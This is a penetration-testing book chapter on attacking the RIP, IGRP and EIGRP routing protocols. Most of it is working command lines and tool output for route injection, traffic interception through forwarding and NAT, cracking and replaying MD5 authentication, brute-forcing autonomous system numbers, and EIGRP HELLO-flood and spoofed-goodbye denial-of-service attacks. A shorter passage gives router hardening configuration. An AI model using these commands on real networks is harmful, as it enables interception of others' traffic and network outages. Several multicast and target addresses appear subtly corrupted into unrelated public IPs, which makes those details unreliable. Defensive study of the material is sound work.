Distance-vector routing protocols use Bellman-Ford's algorithm (sometimes called the Ford-Fulkerson algorithm) to determine how the data is going to be routed. This decentralized routing algorithm requires that each router informs its neighbors of its routing table contents.
First, the router calculates the distances between itself and all other nodes within the routing domain and stores this information as a table. Then the contents of the table are sent to the neighboring routers. When a router receives distance tables from its neighbors, it calculates the most appropriate routes to all advertised addresses and updates its own table to reflect any changes. This is why distance-vector routing is also called routing by rumor . The choice of the appropriate route is defined by the routing protocol metric.
The two most common distance-vector TCP/IP routing protocols are RIP (available in versions 1 and 2) and Cisco IGRP. The IP RIP metric is simply the amount of hops between the participating routers. The IGRP metric is more complex and by default employs both link bandwidth and delay; however, it can also take into account link reliability, load, and maximum transmission unit (MTU) if configured to do so.
RIP is the first TCP/IP routing protocol to be widely deployed and used. While it has plenty of limitations (such as the limited size of the routing domain and slow convergence time), RIP still has its place on modern networks. This is partially due to inertia, partially due to RIP being easy to configure, and partially because many network appliances still do not support other, more advanced routing protocols. In addition, RIP scales perfectly on small networks and has advantages when compared to static routing. Thus, the attacks against RIP are as actual and as efficient now as they were in 1995. The main difference is that the latest version of RIP, version 2, does support routing updates protection utilizing keyed MD5 for cryptographic authentication of the packet. Attackers may still try to decrypt the hash or replay packets to join the routing domain, though. Lazy or ignorant system administrators often do not use available authentication or employ a plaintext password instead of the MD5-based one. And a window of opportunity exists in trying to downgrade RIPv2 to RIPv1 (which doesn't support any update authentication at all) by broadcasting RIPv1 updates onto the network. All these attackstogether with the actual malicious route insertion via RIP constitute the main content of this section.
RIP is connectionless and runs over UDP (port 520). Thus, if the authentication is absent or bypassed, it is easy to send acceptable packets to a RIP router. First, the attacker would have to identify such a router by sniffing for RIP updates that are broadcast every 30 seconds (by default) or when the network topology changes. Alternatively, a remote attacker can identify RIP routers by scanning for UDP port 520 ( reinforcing the scan with Nmap protocol scanning, -sO ), or, even better, by asking the RIP daemon for information. This can be done using the ass utility from Phenoelit's IRPAS. A detailed example of how this utility is used to enumerate RIP routers on the network was presented in Chapter 4, so there is no need to repeat it here. Of course, an attacker can target a specific router rather than a whole network by running a command like this,
arhontus / # ass -v -i eth0 -D <router IP> -P <1 2>
where 1 or 2 is the RIP version. Or it is possible to use rprobe from humble ,
arhontus / # rprobe -a -v <router IP>
where -v indicates RIPv2. Unlike ass , rprobe won't capture any data for you and you will need a sniffer running on the same interfacefor example, arhontus / # tcpdump -i eth0 host <router IP> -vv to see the replies from a router. Here's an example:
arhontus / # tcpdump -i eth0 host 192.168.66.202 -vv tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 68 bytes <RIP request is sent with rprobe -a -v 192.168.66.202> 22:47:20.941167 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], length: 52) tester.arhont.com.route > tested.arhont.com.route: [udp sum ok] RIPv2, Request, length: 24 0x0000: 0102 0000 0000 0000 0000 0000 0000 0000 0x0010: 0000 0000 0000 0010 22:47:20.944184 IP (tos 0xc0, ttl 255, id 0, offset 0, flags [none], length: 72) tested.arhont.com.route > tester.arhont.com.route: RIPv2, Response, length: 44, routes: 2 AFI: IPv4: 192.168.30.0/24, tag 0x0000, metric: 1, next-hop: self[rip] 0x0000: 0202 0000 0002 0000 c0a8 1e00 ffff ff00 0x0010: 0000 0000 0000 0001 0002 0000 0000 0000 0x0020: 1900 0000 686f 7374 2031 3932
Once you are sure that RIP is running, its version is known, the authentication is absent or plaintext, and the network topology is determined, you can plan an injection attack. The simplest case of such an attack is redirecting the traffic through your own machine, on which a sniffer and other attack software is running. Another possible case is redirecting traffic through a different host under your control. Don't forget that the RIP routing domain is limited by 15 nodes and you cannot add an additional node to the path already consisting of 15 routers without cutting one of the routers away. Of course, a host through which the traffic is redirected should have forwarding enabled:
arhontus / # echo 1 > /proc/sys/net/ipv4/ip_forward
arhontus / # fragrouter -B1
Then you should advertise your host as a RIP router with a metric favorable for the route to the network or host traffic to which you want to intercept. This can be done with Quagga or another routing software suite.
Before we start attacking and injecting malicious routers, we need to make sure that you are familiar with configuring Quagga and are able to join a legitimate routing domain.
A typical configuration file of the ripd daemon would look similar to the following, where we use version 2 of the RIP protocol with a single authentication key:
! ! Zebra configuration saved from vty ! 2005/08/12 23:44:33 ! hostname legitimate.ripd password 8 jhahnGuSsan.g enable password 8 Cb/yfFsI.abqs log file /var/log/quagga/ripd.log service advanced-vty service password-encryption ! ! key chain dmz_auth key 1 key-string secret_key ! interface eth0 description DMZ_network ip rip authentication mode md5 auth-length old-ripd ip rip authentication key-chain dmz_auth ! router rip version 2 redistribute connected network 192.168.20.0/24 ! line vty exec-timeout 30 0 !
Imagine a situation in which you took over a Linux host on a LAN and you want to reroute the traffic going from one of the other hosts on the network that uses RIP to http://www.cisco.com through your machine. We assume that your updates get accepted by the target host. So, next you need to inject a malicious route into the routing table on the target machine to make your host a gateway for traffic going to http://www.cisco.com. You need to configure your host to allow for forwarding of the traffic by enabling it in the /proc :
arhontus / # echo 1 > /proc/sys/net/ipv4/ip_forward
Next, if you want both the outgoing and incoming packets to be routed through your machine, you would need to use Network Address Translation (NAT) to translate the traffic coming from the victim hosts so that the default gateway on your network would return the packets to your machine for sending on to the target rather than sending them directly. Since you are on the same network segment as the target, the gateway router would send the returning packets directly to the host. If the default gateway also participates in the routing domain, you can poison its routing table as well. The route poisoning maniacs would choose the latter way, while the attacker who wants to stay silent would choose the former. The "NATing" can be easily set up with the Netfilter suite found on every Linux machine:
arhontus / # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP
After the preparations are done, you'll inject the route. A word of precaution: you need to know whether the gateway accepts your routing updates, and if so, you would need to send the routing update to the unicast address of your victim rather than sending it to the multicast to avoid routing loops .
The standard redistribution of the static route into the routing domain would not work, since if you set the static route to the host on the Internet to be routed through your machine by using the normal kernel procedures, you would not be able to access this host yourself. Fortunately for us, the developers of the Quagga suite have foreseen such a situation and included a mechanism that allows you to inject a static route without setting it in the kernel's routing table. A sample portion of the ripd config file that does the job is shown here:
router rip version 2 default-information originate neighbor 192.168.20.200 route 126.96.36.199/32
Here the neighbor option is set to send the RIP update to the target machine only; the default-information originate option allows you to create the RIP-specific static route, specified by the route command. Voil ! You can see the traffic flying through your host.
This approach has an obvious advantage of sending regular RIP updates. However, it is somewhat cumbersome to install and configure a full routing suite for a simple attack against RIP. Thus, you can use various packet generating utilities to reach the same goal. For example, you could use srip from humble:
arhontus / # srip <RIP version> -n <netmask> <malicious router IP> <targeted RIP router IP> <destination host or network IP> <metric>
Here the <malicious router IP> is the machine through which you want to redirect the traffic and <destination host or network IP> is the address to which the data is initially sent. As for <metric> , 1 is usually a good setting.
You can also use ipmagic from the IP Sorcery packet crafting suite ( http://www. freshmeat .net/projects/ipsorcery/ ) for a more granular RIP packet injection:
arhontus / # ./ipmagic Usage: ./ipmagic [options] IP: [-is-id-ih-iv-il-it-io-id-ip] -is: source host or address def. 127.0.0.1 -id: source destination or address def. 127.0.0.1 -ih: IP header length def. 5 -iv: IP version def. 4 -il: Time-to-Live def. 64 -it: Type-of-Service def. 0 -io: IP frag offset [(D)on't Fragment(M)ore Fragments(F)ragment(N)one] -ii: IP packet ID for fragmentation def. 0 -ip: IP protocol [TCPUDPICMPIP] def. TCP -iO: IP options <skip> UDP: [-us-ud-ul] -us: UDP source port def. rand() -ud: UDP destination port def. 161 -ul: UDP length RIP: [-uR-uRc-uRv] -uR: Send default RIP packet to port 520 -uRc: RIP command [RQRSTNTFSRTQTSTAUQUSUA] def. RQ For a list of RIP commands run program with -h rip -uRv: RIP version  def. 2 Note: Entry Tables should be used with response packets[RSTSUS] -uRa(12etc.): RIP Entry table Address exmp. -uRa1 -uRn(12etc.): RIP Entry table Netmask, exmp. -uRn2 -uRh(12etc.): RIP Entry table Next Hop, exmp. -uRn(num) -uRm(12etc.): RIP Entry table Metric -uRr(12etc.): RIP Entry table Route Tag -uRe: Add default RIP Entry table to packet <skip> arhontus / # ./ipmagic -h rip RIP Commands [RQRSTNTFSRTQTSTAUQUSUA] RS: Response Packet RQ: Request Packet TN: Trace On TF: Trace Off SR: Sun Reserved TQ: Triggered Request TR: Triggered Response TA: Triggered Acknowledgement UQ: Update Request UR: Update Response UA: Update Acknowledgment
The presence of the triggered request and response function allows a faster routing domain topology change as compared to injecting a simple update. In addition, a flood of changing triggered requests and responses is an efficient way to DoS the whole network if your aim is to wreak havoc.
Alternatively, Jeff Nathan's Nemesis ( http://www.nemesis. sourceforge .net/ ) can be employed. Type man nemesis-rip or visit http://www.nemesis.sourceforge.net/manpages/nemesis-rip.1.html for detailed instructions on using this great tool.
arhontus / # nemesis rip help RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22) RIP usage: rip [-v (verbose)] [options] RIP options: -c <RIP command> -V <RIP version> -r <RIP routing domain> -a <RIP address family> -R <RIP route tag> -i <RIP route address> -k <RIP network address mask> -h <RIP next hop address> -m <RIP metric> -P <Payload file> UDP options: -x <Source port> -y <Destination port> IP options: -S <Source IP address> -D <Destination IP address> -I <IP ID> -T <IP TTL> -t <IP TOS> -F <IP fragmentation options> -F[D],[M],[R],[offset] -O <IP options file> Data Link Options: -d <Ethernet device name> -H <Source MAC address> -M <Destination MAC address>
Another packet generating utility that you can use to craft custom RIP packets is Spoof, available from http://www.cs.ucsb.edu/~rsg/Routing/download.html . Edit the defaultRip.txt file in Spoof's config directory to set the route you want to inject.
All end- user packet generators mentioned so far have one disadvantage : they do not send authenticated RIP packets. Of course, you can set a guessed or cracked RIP password in Quagga.
In the preceding example, we showed the sample config file for the ripd daemon that allowed you to join the routing domain with authentication. However, it is also possible to use the RIP authenticated packet option in the RIP module of sendIP ( http://www.earth.li/projectpurple/progs/sendip.html ):
arhontus / # ./sendip -p rip -v Arguments for module rip: -rv x RIP version Default: 2 -rc x RIP command (1=request, 2=response, 3=traceon (obsolete), 4=traceoff (obsolete), 5=poll (undocumented), 6=poll entry (undocumented) Default: 1 -re x Add a RIP entry. Format is: Address family:route tag:address:subnet mask:next hop:metric Default: 2:0:0.0.0.0:255.255.255.0:0.0.0.0:16, any option my be left out to use the default -ra x RIP authenticated packet, argument is the password; do not use any other RIP options on this RIP header -rd RIP default request get router's entire routing table; do not use any other RIP options on this RIP header
Note the -rd option, which is a good substitute for ass and rprobe in RIP domains enumeration.
As you are aware of by now, RIPv1 does not support any authentication at all and can be defended only via access and distribute lists. This type of defense is easily bypassed with simple IP spoofing. Thus, if an attacker can manage to force the router to fall back to using RIPv1 instead of RIPv2, she will succeed at penetrating the RIP routing domain. She can try to downgrade routing to RIPv1 by setting up a rogue RIPv1 router on the network or sending RIPv1 packets using a custom packet generator. Fortunately for the system administrator and unfortunately for the attacker, this approach won't be successful with IOS-based routers:
arhontus / # nemesis rip -v -c 1 -V 1 -S 192.168.66.102 -D 192.168.66.202 c2611# 340408: 8w6d: RIP: ignored v1 packet from 192.168.66.102 (illegal version)
Sending a reply or any other RIP packet type instead of a request leads to the same results. However, we haven't tested the RIP downgrading attack against any lower end devices, such as Linksys SOHO routers and wireless access points (which now belong to Cisco). Will an attack on these devices succeed? We leave this exercise to our readers to practice RIP packet generation targeting common and readily accessible devices.
Even if the RIPv2 routing domain is protected by the MD5 encryption, it may still be possible to crack it. To crack MD5 authentication in RIPv2, we can utilize the excellent Cain & Abel package ( http://www.oxid.it/cain.html ).
First, click Sniffer in the upper toolbar (Figure 14-1) and click Routing in the lower one. Then start the sniffing mode by clicking the Start/Stop Sniffer button. The program intercepts and dissects all the supported routing protocols. At the time of writing, Cain & Abel is able to dissect different versions of OSPF and RIP. It also provides some EIGRP support, even though it is far from being perfect. Once the sniffer receives a RIP update, you would see the detailed information about the advertised routes, sending router, protocol version, authentication employed, and so on.
If the MD5 authentication is used, you can send the details obtained from the packet to the C&A cracking module by highlighting the packet, right-clicking, and selecting Send To Cracker (Figure 14-2).
Next, in the Cracker upper toolbar (Figure 14-3), choose RIPv2-MD5 Hashes. Highlight the desired RIP router, right-click it, and select one of the cracking modes.
We have to admit that the bruteforcing process is quite fast, since compared to the FreeBSD MD5 scheme employed for secure storage of the password information, RIPv2-MD5 does not use salt. So you can achieve bruteforcing speeds of 700,000 combinations per second on an old Intel PIII-700 box.
As C&A is a Windows-based program, you might ask, "How can you sniff remote networks?" Although C&A can run in the server mode, not all of the remote hacked hosts would be running Windows. You can simply capture a single RIP packet on the network using tcpdump , transfer it onto the network where Cain is listening, and replay it with tcpreplay so that it gets picked up by Cain. When capturing the packet, you need to make sure that you specify the correct SubNetwork Access Protocol (SNAP) length; otherwise , you will not capture the complete packet, which in turn would result in a corrupt packet in replay. A sample tcpdump capturing command is shown here:
arhontus / # tcpdump -n -i eth0 -s 1500 -w /tmp/rip.pcap dst host 188.8.131.52
The replay of the packet can be performed as follows :
arhontus / # tcpreplay -R -F -i eth0 /tmp/rip.pcap
Note that even if the MD5 hash proved to be too much of a challenge and wasn't cracked, you can still break into the RIPv2 routing domain or at least cause route flapping. This can be done via a packet replay attack, since the anti-replay mechanism of RIPv2 has known flaws. A detailed description of these flaws can be found at http://www.off.net/~jme/ietf/draft-etienne-ripv2-auth-flaws-00.html .
To summarize, the RIPv2 packet MAC is generated by applying the MD5 algorithm to the packet payload and shared secret. However, the RIP packet sequence number, its anti-replay mechanism, is not hashed . This means that an attacker can replay back to the router-authenticated packets using the same or higher sequence numbersfor example, by replaying a packet just after itself. The sequence numbers can also be reused in a replay attack after the router went offline, was rebooted, or the sequence counter rolls over. Furthermore, since MD5 is not applied to IP and UDP headers of RIP packets, they can be easily spoofed by a cracker. As a result, a whole variety of attacks against a RIP routing domain can be launched without any knowledge of the shared secret. Old routes can be reinjected. If the counter is nullified and sequence numbers are forgotten by one of the routers, or if the sequence number of a target router RIP packet is lower than the one in a replayed packet, both metric and next hop parameters can be altered . Finally, neighbor relationships between the routers can be broken, causing route flapping.
Even though this weakness is now a few years old, surprisingly a single tool exploiting it (spare for manual work using tcpdump , NetDude, and tcpreplay ) is not available at this time. However, creating such RIPv2 replay attack utility is on our TODO list.
The best defense against abuse of your RIP routing domain is proper authentication employing a difficult-to-guess shared key. Using RIPv1 is a crime that should be severely punished (and can be punished by crackers). With RIPv2, follow a procedure similar to this:
c2600(config)#key chain handsoffmyrip c2600(config-keychain)#key 1 c2600(config-keychain-key)#key-string 0 itsadeepsecret
These commands create a shared key chain and set the key value as itsadeepsecret . Next the key has to be assigned to an appropriate interface:
c2600(config)#int e0/0 c2600(config-if)#ip rip authentication key-chain handsoffmyrip c2600(config-if)#ip rip authentication mode md5
The interfaces that need to receive RIP updates but shouldn't advertise RIP to avoid unnecessary data leaking should be set as passive:
c2600(config)#router rip c2600(config-router)#passive-interface serial 0/0 c2600(config-router)#passive-interface serial 0/1
If for some specific reason you want a router that only listens to RIP updates but doesn't send out any updates itself, execute this:
Another method of preventing information leakage is to apply distribute lists to routing updates for removing the routes you don't want to be advertised from them:
c2600(config-router)#distribute-list ? <1-199> IP access list number <1300-2699> IP expanded access list number WORD Access-list name gateway Filtering incoming updates based on gateway prefix Filter prefixes in routing updates c2600(config-router)#distribute-list 1 out rip c2600(config-router)#exit c2600(config)#access-list 1 permit 184.108.40.206 0.0.0.255 c2600(config)#access-list 1 deny 10.10.10.0 0.0.0.255
Just as well, you can filter incoming RIP updates with a command like this,
c2600(config-router)#distribute-list 1 in serial 0/0
supplemented with appropriate access lists.
To counter spoofed RIP packets injection, use this command:
This command ensures that the source IP address of incoming routing updates is on the same IP network as one of the addresses defined for the receiving interface and applies to RIP and IGRP only.
Finally, it is a good idea to restrict the access to UDP port 520, used by RIP, to legitimate hosts only using extended access lists. Since in this book we have already provided plenty of Cisco extended access list examples, the exercise of writing them for UDP port 520 is left to the reader.
IGRP is a Cisco proprietary distance-vector protocol designed in the mid-1980s to replace RIP on homogeneous Cisco networks. It is rarely used nowadays and has been replaced by EIGRP; indeed, newer IOS versions have completely dropped the support of this protocol. Thus, you are not likely to encounter an IGRP routing attack in the real world.
Unlike RIP, which simply counts hops on IP networks (we decided not to go into IPX to avoid clouding the reader's mind!), IGRP uses a combination (vector) of metrics. By default, this combination takes into account bandwidth and delay; however, it is also possible to add link reliability, load, and MTU into the equation. The values of reliability and load are shown when the show interface command is executedhere's an example:
c2600#show interface e0/0s Ethernet0/0 is up, line protocol is up Hardware is AmdP2, address is 0002.169c.0a80 (bia 0002.169c.0a80) Internet address is 192.168.66.202/24 MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec, reliability 255/255, txload 16/255, rxload 23/255
We have rarely seen IGRP routers configured to use these additional values in calculating the routes metric in practice.
Unlike RIP, IGRP is not limited to a 15-router domain (you can go up to 255 hops, although it is not recommended) and supports unequal -path traffic load balancing. What is more important for us is that IGRP uses an autonomous system number (that must be the same on all routers in a routing domain to exchange updates) and does not support any authentication.
Because there is no authentication, the only parameter you have to know to become part of an IGRP routing domain is the autonomous system number. If the attacker is local, it can be easily sniffed out in IGRP updates, which are broadcast (well, "multicasted") every 90 seconds to 220.127.116.11. If the attacker is remote, he can use ass from the IRPAS suite to bruteforce the number:
arhontus / # ./ass -v -i eth0 -A -a 1 -b 31337 -P I ASS [Autonomous System Scanner] $Revision: 1.24 $ (c) 2k++ FX <firstname.lastname@example.org> Phenoelit (http://www.phenoelit.de) IRPAS build XXXIX Scanning + scanning IGRP . . .
While the amount of autonomous system numbers for IGRP goes up to 65535, system administrators rarely choose large numbers (but watch out for numbers with significance that are easy to remember, such as the 31337 above). After the number is guessed (or sniffed out), you can inject a malicious route with another IRPAS utility:
arhontus / # ./igrp Usage: ./igrp [-v[v[v]]] -i <interface> -f <routes file> -a <autonomous system> [-b brute force end] [-S <spoofed source IP>] [-D <destination ip>]
You can also bruteforce the autonomous system number with this tool. In addition, you need a routes file to inject the route you want. An example of such file is shown next:
# Routes file for igrp.c # Format # destination:delay:bandwith:mtu:reliability:load:hopcount # # Malicious route: 10.10.10.0:300:1:1500:255:1:1
It is unlikely that you would need more than one malicious route.
Nothing much can be done about this type of attack, apart from using another routing protocol instead. The traditional choice is EIGRP; however, if the network is not limited to Cisco devices only, you will end up choosing between RIPv2 and OSPF. The outcome of the selection will depend on the network size, topology, and administrator's skills.
EIGRP is a strange protocol. Developed by Cisco as a replacement for IGRP, it is somewhat close to link-state routing protocols like OSPF, but it uses a different algorithm for appropriate routes selection. This algorithm is the Diffusing Update Algorithm, or DUAL, based on shared route calculations in the EIGRP domain. An EIGRP router sends updates as distance vectors of directly connected routes only. Such a router sends an update of a specific route only if a topology change to this route has occurred. In addition, this update is sent only to relevant neighbor routers, not to all routers in the domain. This makes EIGRP a bandwidth-efficient protocol, especially when compared to its distance-vector counterparts.
EIGRP routers discover neighbors via HELLO packets sent every 5 seconds to the multicast address 18.104.22.168, unless configured to use unicast addresses on point-to-point links. By default, if within 15 seconds a HELLO packet from a neighbor router is not received, the route is considered dead. In this case, another route to a " feasible successor" router (basically, a second-best route) replaces the dead route. Up to six such spare routes can exist under DUAL, and the network is flooded by queries only if no suitable feasible successors exist. This ensures a very fast convergence of EIGRP.
A few things about EIGRP are important from an attacker's viewpoint. First of all, someone who would like to inject a malicious route will want to establish an adjacency via HELLO packets first or spoof an IP of a legitimate EIGRP neighbor. Then, as with IGRP, to become a part of the routing domain, the attacker has to know the autonomous system number. EIGRP does have an MD5 authentication functionality, similar to that of RIPv2. On the other hand, unlike the OSPF domain, which is likely to be split onto areas of different significance, the EIGRP autonomous system is flat. Thus, an inserted malicious route is likely to become known across the whole routing domain.
Since EIGRP is a Cisco proprietary protocol, no single general purpose routing suite supports it and can be used for security testing. Neither is any custom packet generator capable of crafting and sending EIGRP packets. To make things worse , sniffers such as Ethereal did not dissect authenticated EIGRP packets properly and do not understand some EIGRP packet types. Thus, we had to write an EIGRP sniffer and packet generator from scratch to present something in this section. The effort has paid off, however, since it became possible to discover a few new attacks against this protocol in two days, as well as implement the only known attack against EIGRPa rotating IP HELLO flood DoS in practice. Due to the time constraints, we could not fully test all the attack possibilities before submitting the manuscript, but this is an ongoing project and we are sure that these possibilities will be explored.
EIGRP is not a simple routing protocol, and many variables in EIGRP packets can be tweaked. This is reflected by the sheer amount of options the tool has to provide maximum testing granularity:
arhontus# perl eigrp.pl --help Using config file eigrp.conf... eigrp.pl, , V 0.1 This program was originally published for the "Hacking Exposed: Cisco Networks" book. Authors Janis Vizulis, Arhont Ltd. (License GPL-2) Please send bugs and comments to email@example.com sniffing use: eigrp.pl [--sniff] [ --iface=interface ] [--timeout=i] Options: --sniff Sniff eigrp packets --iface Listen on interface --iflist List available network interfaces --source Source address IP --dest Packet destination IP. Default multicast IP 22.214.171.124 --timeout=n pcap init timeout (500 default) --hello Send EIGRP HELLO --update Send EIGRP UPDATE --query Send [Query] (Unreachable destination) --external External EIGRP route --internal Internal EIGRP route --ipgoodbyes IP to [Goodbye message] Authenticated replay not yet implemented --file2ip=s Send raw sniffed EIGRP data from file to IP --payback Sniff [update] packet, change [Delay] and send back --op=n EIGRP opcode number to trigger, capture packet defined by trigger on a disk --sn=n EIGRP sequence number to trigger --auth Authentication data for reply attack (copy paste hex from sniff) --opcode Custom opcode for hello fuzzing --flags=n EIGRP flags 0,1 or 2 --version=n EIGRP version 8 bit integer Default 2 --as=n Autonomous system number [Default = 1] --k1=n Metric K1 [Default 1] --k2=n Metric K2 [Default 0] --k3=n Metric K3 [Default 1] --k4=n Metric K4 [Default 0] --k5=n Metric K4 [Default 0] --mtu=n MTU --nms=n Add NMS (Next multicast message) to Hello packet --eigrpv=s EIGRP release [ Default 2.9] --ios=s IOS version [Default 12.4] --hopcount=n Hop count --reliability=n Reliability --load=n Load --delay=n Delay --sequence=n Sequence (32bit sequence) [Default = 0] --ack=n Acknowledge (32bit sequence) Default 0 --nexthop=s Next Hop --bandwidth=n Bandwidth --routedest=s Route destination --origrouter=s Originating router --origas=n Originating Autonomous system number --arbitatag=n Arbitrary tag --metric=n Protocol metric (external protocol metric for an external update) --extproto=n External protocol ID IGRP(1) EIGRP(2) Static Route(3) RIP(4) HELLO(5) OSPF(6) IS_IS(7) EGP(8) BGP(9) IDRP(10) Connected link(11) --hold=n Hold time --hellotime=n Hello send retries timeout. Default = 5sec --hellodos=s IP subnet. Warning! DOS attack! Send HELLO EIGRP Argument from IP range. --retries=n Packet send retries Default 1; --help This message Examples : ./eigrp.pl --sniff --iface eth0 [sniffing] ./eigrp.pl --ipgoodbye 192.168.66.202 --source 192.168.7.8 [DoS] ./eigrp.pl --file2ip update.dat --source 192.168.7.8 [data to EIGRP] ./eigrp.pl --update --external --as 6 --source 126.96.36.199 [injection] ./eigrp.pl --hello --auth 00020010000000020000000000000000000000000efe07403446c77a9697fe5753f79e52 --source 192.168.77.8 --nms 1
It is easier to edit many options in the eigrp.conf file instead of entering them manually from the command line. A sample configuration file looks like this:
####For sniff $timeout="5"; #Pcap timeout $device="eth0"; #Sniff interface ######EIGRP inject $hellotime="5"; #Send "Hello" timeout ####EIGR packet option $flags="0"; #Flags $sequence="0"; #Sequence (32bit sequence) Default 0 $ack="0"; #Acknowledge (32bit sequence) Default 0 $version="2"; $as="1"; #Autonomous system number Default #Metric $k1="1"; $k2="0"; $k3="1"; $k4="0"; $k5="0"; $holdtime="15"; #Holdtime $mtu="1514"; #MTU $hopcount="0"; #Hopcount $reliability="255"; #Reliability $load="1"; #Load $delay="120000"; #Delay $nexthop="0.0.0.0"; #Next hop $bandwidth="256"; # Bandwidth $routedest="188.8.131.52/32"; # Route destination $origrouter="184.108.40.206"; # Originating router $origas="0" ; # Originating Autonomous system number $arbitatag="0" ; #Arbitrary tag $metric="0"; # protocol metric (external protocol metric for external update) #External protocol ID #IGRP=1 EIGRP=2 Static Route=3 RIP=4 HELLO=5 OSPF=6 IS_IS=7 # EGP=8 BGP=9 IDRP=10 Connected link=11 $extproto="11"; $ios="12.4"; #IOS version $eigrpv="2.9"; # EIGRP release
Modify the contents of this file to reflect the settings of the audited EIGRP network. Thus, if you are local to the EIGRP routing domain, the first thing you would do is reconnaissance. Let's sniff out some packets:
arhontus# ./eigrp.pl --sniff --iface eth0 Using config file eigrp.conf... ./eigrp.pl, , V 0.1 Link Offset: 14.. Sniffing interface: eth0 *************************************************************** Source MAC:0002139d0a70 Dest MAC:01005e00000a Source IP: 192.168.66.202 Dest IP:220.127.116.11 **************************************************************** HexDump (high nybble first): 02 05 40 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 01 00 0c 01 00 01 00 00 00 00 0f 00 04 00 08 0c 03 01 02 00 07 00 09 04 c0 a8 42 01 Version: 2 Opcode:05 <Hello/Ack> Checksum: 0x40bc <* Correct *> Flags: 0 Sequence :0 Acknowledge: 0 Autonomous system number: 65534 <<<EIGRP Parameters: 0001 >\>> Size: 12 K1: 1 K2: 0 K3: 1 K4: 0 K5: 0, Reserved: 0 Hold Time: 15 <>>Software Version 0004 >\>> Size: 8 IOS version: 12.3 EIGRP version 1.2 <<<Interface Goodbye received: 0007 >\> Size:9 ID:4 IP:192.168.66.1
This is an example of a "goodbye packet" (not dissected by Ethereal).
Next, we want to inject a malicious route or two:
arhontus# ./eigrp.pl --update --external --delay 12000 --sequence 3455775 --source 192.168.66.191 --routedest 18.104.22.168/32 Using config file eigrp.conf... ./eigrp.pl, , V 0.1
In this example, we are injecting a route without sending HELLO packets in parallel. The source IP is a spoofed address of a legitimate neighbor. A sequence number could be any large value. We have also modified the delay in EIGRP metric for fun. First we check on a target router:
c2611#show ip route <skip> D EX 22.214.171.124 [170/293600] via 192.168.66.191, 00:00:10, Ethernet0/0 <skip>
We found it! In our experience, if the route is injected via spoofing the IP address of a legitimate neighbor, it remains in the routing table for as long as that neighbor is up. Thus, using simple IP spoofing, you can preserve the inserted route for ages. And if you want to present your machine as a rogue router, you will have to emulate an EIGRP three-way handshake (multicast HELLO, unicast update + INIT, unicast ACK) using two instances of the tool. Establishing a proper neighbor relationship with a legitimate EIGRP router will give you an opportunity to feed the favorable metric to the neighbor via custom HELLO packets. Thus, you do not inject any malicious route per se, and the DUAL algorithm does all the work for you.
What else can be done with the ability to craft custom EIGRP packets? An EIGRP DoS attack was reported by FX in 2002. So far, no public practical implementation of it exists. The attack is based on flooding the EIGRP routers with spoofed HELLO packets from multiple source IPs. The routers start searching for these new neighbors and an ARP storm begins, saturating both network and router resources. Rotating source IP addresses in HELLO packets is not difficult:
arhontus#./eigrp.pl --hellodos 192.168.66.0 --source 192.168.66.112
You see the incrementing source IP addresses in the console. The network is down. Nothing works, spare for the frozen bright LEDs on a switch.
How about something less violent? In the previous section, you saw an example of a goodbye packet sniffed off the wire. In accordance with the Cisco web site, a goodbye message is sent when an EIGRP routing process is shutting down to tell the neighbors about the impending topology change to speed up the convergence. This feature is supported in Cisco IOS releases later than 12.3(2), 12.3(3)B, and 12.3(2)T. Let's exploit it by sending a spoofed goodbye message claiming to be from one of the neighbors to indicate that this spoofed neighbor is down:
arhontus#./eigrp.pl --ipgoodbye 192.168.66.202 --as 65534 --source 192.168.66.191 469576: Aug 16 2005 03:09:56.277 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 65534: Neighbor 192.168.66.191 (Ethernet0/0) is down: Peer goodbye received 469577: Aug 16 2005 03:09:59.283 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 65534: Neighbor 192.168.66.191 (Ethernet0/0) is down: Peer goodbye received 469578: Aug 16 2005 03:09:59.868 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 65534: Neighbor 192.168.66.191 (Ethernet0/0) is up: new adjacency 469579: Aug 16 2005 03:10:02.288 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 65534: Neighbor 192.168.66.191 (Ethernet0/0) is down: Peer goodbye received
The receiving router thinks that its peer is down and breaks the neighborhood. Then it receives a legitimate HELLO and tries to re-establish it, but yet another peer goodbye tears it up. The attack clearly works. Have a look at the neighbor's table before the attack:
c2600#sh ip eigrp neighbor IP-EIGRP neighbors for process 65534 H Address Interface Hold Uptime SRTT RTO Q Seq (sec) (ms) Cnt Num <skip> 0 192.168.30.191 Se0/0 12 00:05:06 1 4500 0 198 1 192.168.66.191 Et0/0 13 00:05:14 201 1206 0 199 <skip>
And here it is after:
c2611#sh ip eigrp neighbor IP-EIGRP neighbors for process 65534 H Address Interface Hold Uptime SRTT RTO Q Seq (sec) (ms) Cnt Num <skip> 0 192.168.30.191 Se0/0 14 00:09:50 1 4500 0 286 <skip>
Look at the uptime: the neighborhood was broken for nearly 5 minutes, for as long as the attack was running, The irony in this example is that 192.168.66.191 is a router with an old IOS version that doesn't even understand the goodbye message!
Since this attack removes a specific router from the EIGRP process rather than whacking the whole network, a skilled hacker who knows the topology of the domain and traffic flows well can attack specific peers to redirect traffic the way he needs. In addition, by DoSing a router, an attacker can learn the topological information that the router knows . When it rejoins the network, the router will exchange the topology tables with its neighbors via unicast packets. However, the changes caused in the network routing topology by the rejoining router are going to be propagated via multicast by its peers and can be easily captured. Surely, since we do not crash the router and only tear down the EIGRP peer relation, a cracker can execute an ARP spoofing attack to place himself between the peers during (or even prior to) the DoS. This will allow him to catch the EIGRP handshake, including the full network topology table.
Would it be possible to run such DoS attacks and also the route injection remotely, without being on the same network segment with the targeted routers? All the packets we have generated in testing are multicast packets sent to 126.96.36.199. So, providing that the attacker knows the EIGRP AS number and has some information about the target network IP addressing, and the gateway forwards multicast traffic, the answer is yes. As mentioned earlier, EIGRP networks are flat and an injected route is likely to pass over the domain across many routers.
The attacks just described work fine and can be useful in internal, semi-internal, or wireless penetration testing. But what if a cautious network administrator has turned on EIGRP MD5 authentication?
